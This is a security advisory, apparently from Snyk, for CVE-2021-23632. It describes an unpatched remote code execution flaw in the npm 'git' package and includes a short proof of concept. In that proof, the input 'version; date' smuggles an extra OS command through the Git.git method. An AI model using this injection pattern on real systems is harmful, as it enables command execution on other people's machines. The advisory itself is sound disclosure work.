<p>There is no fixed version for <code>git</code>.</p>

Remote Code Execution (RCE) Affecting git package, versions *

Snyk CVSS

Attack Complexity High

Privileges Required High

Confidentiality High

Integrity High

Availability High

Threat Intelligence

EPSS 0.69% (80^th percentile)

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Snyk ID SNYK-JS-GIT-1568518
published 18 Oct 2021
disclosed 23 Aug 2021
credit Paul-Emmanuel Raoul of SkypLabs

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Introduced: 23 Aug 2021

CVE-2021-23632 Open this link in a new tab CWE-94 Open this link in a new tab First added by Snyk

How to fix?

There is no fixed version for git.

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands.

Steps to Reproduce

Create a file named exploit.js with the following content:

var Git = require("git").Git;

var repo = new Git("repo-test");
var user_input = "version; date";
repo.git(user_input, function(err, result) {
  console.log(result);
})

In the same directory as exploit.js, run npm install git.
Run exploit.js: node exploit.js.

You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.